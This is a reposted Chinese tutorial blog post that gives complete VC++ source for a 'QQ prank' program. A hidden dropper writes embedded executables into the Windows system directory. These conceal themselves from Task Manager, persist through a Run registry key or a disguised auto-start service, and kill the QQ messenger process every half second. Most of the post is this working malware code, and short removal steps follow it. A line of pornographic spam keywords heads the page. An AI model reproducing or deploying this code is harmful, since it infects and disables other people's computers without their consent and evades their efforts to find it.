小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

親手打造一個(gè)QQ惡作劇程序

 slogoo 2006-04-20
程序原理:獲取系統(tǒng)中的所有進(jìn)程,并保存在一個(gè)數(shù)組中,然后在數(shù)組中查找含有QQ,oicq,qq,OICQ字樣的進(jìn)程,如果找到就立即殺掉該進(jìn)程.這樣你一運(yùn)行QQ,QQ進(jìn)程就會(huì)被立即殺掉,也就是說(shuō)如果該惡作劇程序一直運(yùn)行你就不能上QQ了.呵呵,這招是不是有點(diǎn)毒啊?好了,現(xiàn)在一步一步的來(lái)講程序的編寫過(guò)程.

首先我們要解決的問(wèn)題是如何實(shí)現(xiàn)惡作劇程序的自我隱藏,關(guān)于進(jìn)程隱藏的文章很多,我就只簡(jiǎn)單的介紹一下了.在Win9X系統(tǒng)下可以通過(guò)調(diào)用RegisterServiceProcess API這個(gè)API函數(shù)將進(jìn)程注冊(cè)為一個(gè)服務(wù)模式的進(jìn)程,這樣在Win9X系統(tǒng)下用Ctrl+Alt+Del調(diào)出的任務(wù)管理器中將不會(huì)出現(xiàn)這個(gè)進(jìn)程了.RegisterServiceProcess API函數(shù)存放于系統(tǒng)內(nèi)核Kernel32.dll中.具體聲明如下:
DWORD RegisterServiceProcess(
DWORD dwProcessId, //服務(wù)進(jìn)程的進(jìn)程標(biāo)志,如果為NULL表示當(dāng)前進(jìn)程
DWORD dwType //如果參數(shù)為RSP_SIMPLE_SERVICE 表示注冊(cè)當(dāng)前進(jìn)程
//如果參數(shù)為RSP_UNREGISTER_SERVICE 表示取消當(dāng)前進(jìn)程的注冊(cè)
);
函數(shù)調(diào)用成功返回1,否則返回0
通過(guò)對(duì)RegisterServiceProcess 這個(gè)API函數(shù)的調(diào)用我們就能實(shí)現(xiàn)在Win9X系統(tǒng)下的進(jìn)程隱藏了.但是要在WinNT系統(tǒng)下真正的實(shí)現(xiàn)進(jìn)程隱藏就沒(méi)有在Win9X系統(tǒng)下那么簡(jiǎn)單了.只要進(jìn)程以進(jìn)程內(nèi)核的形式運(yùn)行,進(jìn)程就將出現(xiàn)在任務(wù)管理器中.要實(shí)現(xiàn)WinNT下進(jìn)程的真正隱藏,只能以非進(jìn)程的方式執(zhí)行目標(biāo)代碼,也就是說(shuō)把目標(biāo)代碼以線程的方式遠(yuǎn)程注冊(cè)到宿主進(jìn)程中.關(guān)于這種方法的實(shí)現(xiàn)已經(jīng)有文章介紹,在這里就不多說(shuō)了.在這里,我并沒(méi)有采用這種隱藏進(jìn)程的方法而是將進(jìn)程注冊(cè)為系統(tǒng)的一個(gè)名為Service的服務(wù)進(jìn)程,雖然這樣并沒(méi)有真正的隱藏進(jìn)程,但是在一般情況下還是不容易發(fā)現(xiàn)的.在Win2000下用任務(wù)管理器查看進(jìn)程時(shí)是不能結(jié)束該進(jìn)程的,必須通過(guò)控制面板中的服務(wù)管理控制臺(tái)來(lái)停止服務(wù),也可以在命令行下用net stop service來(lái)停止服務(wù)在XP下可以通過(guò)任務(wù)管理器結(jié)束該進(jìn)程.這里簡(jiǎn)單介紹一下WinNT中的服務(wù)程序:
在WinNT中,一些后臺(tái)服務(wù)程序是隨著系統(tǒng)的啟動(dòng)而自動(dòng)加載的.用戶也可以通過(guò)控制面板中的服務(wù)管理控制臺(tái)對(duì)服務(wù)的屬性進(jìn)行靈活的設(shè)置.甚至在用戶沒(méi)有登陸的情況下這些服務(wù)程序也能啟動(dòng),象Ftp服務(wù),WWW服務(wù)和一些數(shù)據(jù)庫(kù)就是以服務(wù)的形式存在于NT服務(wù)器上從而實(shí)現(xiàn)了無(wú)人職守. 在NT操作系統(tǒng)中,所有的后臺(tái)服務(wù)全都由服務(wù)控制管理器進(jìn)行統(tǒng)一管理,這些后臺(tái)服務(wù)的狀態(tài)數(shù)據(jù)都保存在服務(wù)控制管理器數(shù)據(jù)庫(kù)中.所以要想創(chuàng)建一個(gè)新的后臺(tái)服務(wù),在應(yīng)用程序的主模塊里應(yīng)首先調(diào)用函數(shù)OpenSCManager打開(kāi)該數(shù)據(jù)庫(kù),再調(diào)用函數(shù)CreateService在此數(shù)據(jù)庫(kù)中創(chuàng)建1個(gè)新的服務(wù)線程對(duì)象,并將該線程對(duì)象啟動(dòng)屬性設(shè)置為隨系統(tǒng)啟動(dòng)自動(dòng)加載,這樣NT在重新啟動(dòng)時(shí)該線程就會(huì)由NT自動(dòng)啟動(dòng).完成這一步,僅僅實(shí)現(xiàn)了后臺(tái)服務(wù)線程對(duì)象的注冊(cè),還沒(méi)有建立與服務(wù)控制管理器的聯(lián)結(jié).要想啟動(dòng)服務(wù)可以通過(guò)函數(shù)StartService來(lái)完成,具體的過(guò)程我們將在編寫Service.exe的時(shí)候介紹.
說(shuō)了這么多,你也許都看得不耐煩了吧,OK,現(xiàn)在正式切入主題,開(kāi)始動(dòng)手打造我們的QQ惡作劇程序.程序由三部分組成,主程序funny.exe,kernel.exe,Service.exe.首先我們先把kernel.exe和Service.exe程序?qū)懞?這兩個(gè)是完成主要功能的程序.然后將其轉(zhuǎn)換成16進(jìn)制代碼放在在funny.exe定義的兩個(gè)全局字符數(shù)組中,當(dāng)funny.exe運(yùn)行的時(shí)候根據(jù)操作系統(tǒng)的版本決定在系統(tǒng)目錄下創(chuàng)建kernel.exe還是Service.exe.kernel.exe將被創(chuàng)建到Win9X的系統(tǒng)目錄下,Service.exe將被創(chuàng)建到Win2000/XP的系統(tǒng)目錄下.
現(xiàn)在我們開(kāi)始來(lái)編寫kernel.exe:
打開(kāi)VC++6.0(啊?不要告訴我你電腦上沒(méi)有裝吧,那趕緊去裝一個(gè),不然你怎么寫程序呢?呵呵)
運(yùn)行AppWizard創(chuàng)建一個(gè)對(duì)話框應(yīng)用程序.工程名為kernel.在CKernelDlg類中添加HideWindow(),HideProcess(),
Reg()三個(gè)函數(shù).代碼如下:
//隱藏對(duì)話框窗體
void CKernelDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW ;
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//將進(jìn)程注冊(cè)為服務(wù)模式的進(jìn)程從而隱藏自身
void CKernelDlg::HideProcess()
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)
GetProcAddress(hDLL,"RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(hDLL);
}
//修改注冊(cè)表,開(kāi)機(jī)時(shí)自動(dòng)運(yùn)行
void CKernelDlg::Reg()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\kernel.exe");
DWORD dwValue;
CRegKey Key;
LPCTSTR lpszKeyname="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
if(Key.Open(HKEY_LOCAL_MACHINE,lpszKeyname)==ERROR_SUCCESS)
if( Key.QueryValue(dwValue,"Kernel")!=ERROR_SUCCESS)
Key.SetValue(lpsysfilename,"Kernel");
Key.Close();
}
這里用到了CRegKey類,需要在KernelDlg.cpp中添加頭文件atlbase.h關(guān)于CRegKey的詳細(xì)用法可以參考MSDN幫助文檔.然后利用類向?qū)砑覹M_TIMER消息,并在消息響應(yīng)函數(shù)中加入以下代碼:
void CKernelDlg::OnTimer(UINT nIDEvent)
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
//枚舉系統(tǒng)中的所有進(jìn)程并保存在數(shù)組類對(duì)象m_PEArray中
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
//在保存進(jìn)程的數(shù)組中查找是否含有QQ,OICQ,qq,oicq字樣的進(jìn)程找到立即將其結(jié)束
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray[i].szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray[i].th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

CDialog::OnTimer(nIDEvent);
}
其中m_PEArray的定義如下:CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;,在對(duì)話框初始化函數(shù)中加入以下代碼:
BOOL CKernelDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隱藏對(duì)話框窗口
HideProcess(); //Win9x下在任務(wù)管理器中隱藏進(jìn)程
Reg(); //改寫注冊(cè)表,開(kāi)機(jī)自動(dòng)運(yùn)行
SetTimer(1,500,NULL); //設(shè)定記時(shí)器,不斷刷新進(jìn)程數(shù)組,并尋找QQ程將其結(jié)束
return TRUE;
}
這樣kernel.exe程序就完成了,現(xiàn)在可以編譯連接成可執(zhí)行文件了.(后附工程文件).
編寫Service.exe:

創(chuàng)建一個(gè)名為Service的Win32 Console Application程序,選擇對(duì)MFC的支持Service.cpp的代碼如下:
/******************************************************************/
/*Module:Service.cpp */
/*Author:Inetufo */
/*Email:Inetufo@thugx.com */
/*Date:2003/3/7 */
/******************************************************************/
// Service.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "Service.h"
#include "winsvc.h"
#include <atlbase.h> //CRegKey類需要的頭文件
#include <Afxtempl.h> //CArray類需要的頭文件
#include <tlhelp32.h> //ToolHelp函數(shù)需要的頭文件

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object
CWinApp theApp;
using namespace std;
SERVICE_STATUS_HANDLE ssh;
SC_HANDLE scm,svc;
SERVICE_STATUS ss;
CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
void InstallService();
UINT KillQQ(LPVOID lpvoid);

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TOD change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{

SERVICE_TABLE_ENTRY ste[2];
//線程入口表
ste[0].lpServiceName="Service"; //線程名字
ste[0].lpServiceProc=ServiceMain; //線程入口地址
//可以有多個(gè)線程,最后一個(gè)必須為NULL
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
InstallService();
}

return nRetCode;
}
//安裝并啟動(dòng)服務(wù)
void InstallService()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\Service.exe");
scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(scm!=NULL)
svc=CreateService(scm,"Service","Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS│SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,lpsysfilename,NULL,NULL,NULL,NULL,NULL);
if(svc!=NULL)
svc=OpenService(scm,"Service",SERVICE_START);
if (svc!=NULL)
{
StartService(svc,0,NULL);
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
}
//服務(wù)的真正入口點(diǎn)函數(shù)
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{


ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_START_PENDING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ss.dwServiceSpecificExitCode = 0;
ss.dwWin32ExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
ssh=RegisterServiceCtrlHandler("Service",Handler);
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
AfxBeginThread(KillQQ,NULL,NULL); //開(kāi)始一個(gè)工作線程實(shí)現(xiàn)程序功能
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);


}
//處理服務(wù)要求
void WINAPI Handler(DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP:
ss.dwCurrentState =SERVICE_STOPPED;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSED;
SetServiceStatus (ssh,&ss);
break;

case SERVICE_CONTROL_INTERROGATE:
break;
}

SetServiceStatus (ssh,&ss);
}
//在進(jìn)程列表中查找QQ程序并殺掉的線程函數(shù)
UINT KillQQ(LPVOID lParam)
{
while(1)
{

m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray[i].szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray[i].th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

Sleep(500);
}
return 0;
}
編譯連接可以生成Service.exe程序.(后附整個(gè)工程)
現(xiàn)在我們已經(jīng)得到了實(shí)現(xiàn)功能的兩個(gè)程序,kernel.exe是在Win9X系統(tǒng)下實(shí)現(xiàn)功能的程序,Service.exe是Win2000/XP下實(shí)現(xiàn)功能的程序.現(xiàn)在就要將這兩個(gè)文件轉(zhuǎn)化成16進(jìn)制代碼.可以通過(guò)一個(gè)程序來(lái)實(shí)現(xiàn),建立一個(gè)名為exe2hex的Win32 Console Application程序,程序代碼如下:
#include <stdio.h>
#include <windows.h>
int main(int argc,char **argv)
{
HANDLE hFile;
DWORD dwSize,dwRead,dwIndex=0,i;
unsigned char *lpBuff=NULL;
__try
{
if(argc!=2)
{
printf("\nUsage: %s <File>",argv[0]);
__leave;
}

hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("\nOpen file %s failed:%d",argv[1],GetLastError());
__leave;
}
dwSize=GetFileSize(hFile,NULL);
if(dwSize==INVALID_FILE_SIZE)
{
printf("\nGet file size failed:%d",GetLastError());
__leave;
}
lpBuff=(unsigned char *)malloc(dwSize);
if(!lpBuff)
{
printf("\nmalloc failed:%d",GetLastError());
__leave;
}
while(dwSize>dwIndex)
{
if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))
{
printf("\nRead file failed:%d",GetLastError());
__leave;
}
dwIndex+=dwRead;
}
for(i=0;i<dwSize;i++)
{
if((i%16)==0)
if(i==0)
printf("\"");
else
printf("\"\n\"");
printf("\\x%.2X",lpBuff[i]);
}
printf("\"");
}//end of try
__finally
{
if(lpBuff) free(lpBuff);
CloseHandle(hFile);
}
return 0;
}
編譯出可執(zhí)行文件exe2hex.exe,執(zhí)行exe2hex kernel.exe >kernel.txt將輸出結(jié)果重定向到一個(gè)文本文件就得到了kernel.exe的16進(jìn)制代碼,同理可以得到Service.exe的16進(jìn)制代碼.
啊,寫了這么多還真有點(diǎn)累了,不過(guò)還好總算要完成了,歇口氣.最后我們來(lái)編寫主程序funny.exe:
用AppWizard生成一個(gè)名為funny的對(duì)話框程序.定義兩個(gè)全局字符數(shù)組用來(lái)保存kernel.exe和Service.exe
的16進(jìn)制代碼:char exebuff9x[]="kernel.exe的16進(jìn)制代碼" char exebuff2k[]="Service.exe的16進(jìn)制代碼".添加HideWindow(),IsWin9X(),CreateFileService9x(CString FileName),CreateFileService2k
(CString FileName),RunService(CString FileName)幾個(gè)函數(shù),其代碼和實(shí)現(xiàn)的功能如下:
//隱藏主窗口
void CFunnyDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW ;
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//獲取操作系統(tǒng)版本信息
BOOL CFunnyDlg::IsWin9X()
{
DWORD dwVersion;
dwVersion=::GetVersion();
if (dwVersion >= 0x80000000) //Win9x
return TRUE;
else
return FALSE; //Win2K/WinXP
}
//如果系統(tǒng)是Win9x則在系統(tǒng)目錄下創(chuàng)建kernel.exe
void CFunnyDlg::CreateFileService9x(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff9x);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
return ;
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff9x[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return ;
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return ;
}
//如果系統(tǒng)是Win2k/XP則在系統(tǒng)目錄下創(chuàng)建Service.exe
void CFunnyDlg::CreateFileService2k(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff2k);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
return ;
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff2k[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return ;
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return ;
}
//運(yùn)行創(chuàng)建的kernel.exe或者Service.exe
void CFunnyDlg::RunService(CString FileName)
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW;
BOOL bRet=::CreateProcess(lpsysfilename,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return ;
}
在對(duì)話框的初始化函數(shù)里面調(diào)用上面定義的函數(shù),其主要代碼如下:
BOOL CFunnyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隱藏對(duì)話框窗口
CString FileName="\\kernel.exe";
if(IsWin9X()) //判斷操作系統(tǒng)類型
{
CreateFileService9x(FileName); //在系統(tǒng)目錄下創(chuàng)建kernel.exe
RunService(FileName); //運(yùn)行kernel.exe
}
else
{
FileName="\\Service.exe";
CreateFileService2k(FileName); //在系統(tǒng)目錄下創(chuàng)建Service.exe文件
RunService(FileName); //運(yùn)行Service.exe
}
AfxBeginThread(ThreadMessage,NULL,NULL); //執(zhí)行線程函數(shù)ThreadMessage
return TRUE;
}
好了,funny程序也完成了,現(xiàn)在可以編譯連接成可執(zhí)行程序了,整個(gè)程序就算寫完了,你可以測(cè)試一下了以上代碼在Win98,Win2000,WinXp,VC++6.0環(huán)境下調(diào)試通過(guò).(附整個(gè)工程文件).寫了這么多快要累死了.如果有什么問(wèn)題請(qǐng)來(lái)信Inetufo@thugx.com,歡迎指教J


解決方法:
WIN98:
系統(tǒng)目錄下將生成kernel.exe文件,可以先將注冊(cè)表項(xiàng)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersions\Run下面的kernel子鍵刪除.重起系統(tǒng)再刪除系統(tǒng)目錄下的kernel.exe文件
Win2K/XP:
運(yùn)行服務(wù)控制管理器,停止掉Service服務(wù),然后將系統(tǒng)目錄下的Service.exe文件刪除,要把服務(wù)從服務(wù)管理器中清除可以將HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services下面的Service鍵刪除即可.

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多